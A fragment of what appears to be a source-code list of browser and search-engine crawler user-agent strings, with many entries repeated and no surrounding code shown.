'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
